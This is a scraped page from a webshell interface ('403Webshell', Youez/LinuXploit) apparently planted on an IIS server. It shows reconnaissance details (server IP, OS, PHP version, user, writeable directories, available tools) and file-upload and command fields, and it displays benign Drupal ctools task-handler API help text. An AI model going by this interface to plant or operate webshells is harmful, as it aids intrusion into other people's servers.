403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/business/sites/all/modules/ctools/page_manager/help/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/business/sites/all/modules/ctools/page_manager/help/api-task-handler.html
task handler definition:
  title -- visible title of the task handler.
  description -- description of the task handler.
  task type -- The type of the task this handler can service.
  render -- callback of the function to render the handler. The arguments to this callback are specific to the task type.
  admin title -- callback to render the admin title as this handler is listed.
    params: $handler, $task, $subtask_id
  admin summary -- callback to render what's in the collapsible info as the handler is listed. Optional.
    params: $handler, $task, $subtask_id
  default conf -- either an array() of default conf data or a callback that returns an array.
    params: $handler, $task, $subtask_id
  save -- callback to call just prior to the task handler being saved so it can adjust its data.
    params: &$handler, $update (as drupal_write_record would receive)
  export -- callback to call just prior to the task being exported. It should return text to append to the export if necessary. 
    params: &$handler, $indent

  forms => array(
    'id' => array(
       'form' => form callback (receives $form, $form_state)
       'submit' => submit callback
       'validate' => validate callback
       'include' => an optional file to include to get functionality for this form. Must include full path.
       'no return' => hide the 'return' button, meaning that the form requires extra steps if submitted
       'alternate next' => an alternate next form. Used for hidden edit forms that don't have tabs.
       'no blocks' => if TRUE, use Drupal's mechanism to not render blocks for this form.
     )
   )
  ),

 'add forms' => array(
  'form1', => t('form title'),
  'form2', => t('form title'),
  // ...etc.../
),
 'edit forms' => array(
   'id' => t('tab name'),
   'id2' => t('tab name'),
 ),

 If a form name is blank it is a 'hidden' form -- it has no tab but can still be reached.


Notes: Because #required validation cannot be skipped when clicking cancel, please don't use it.

Youez - 2016 - github.com/yon3zu
LinuXploit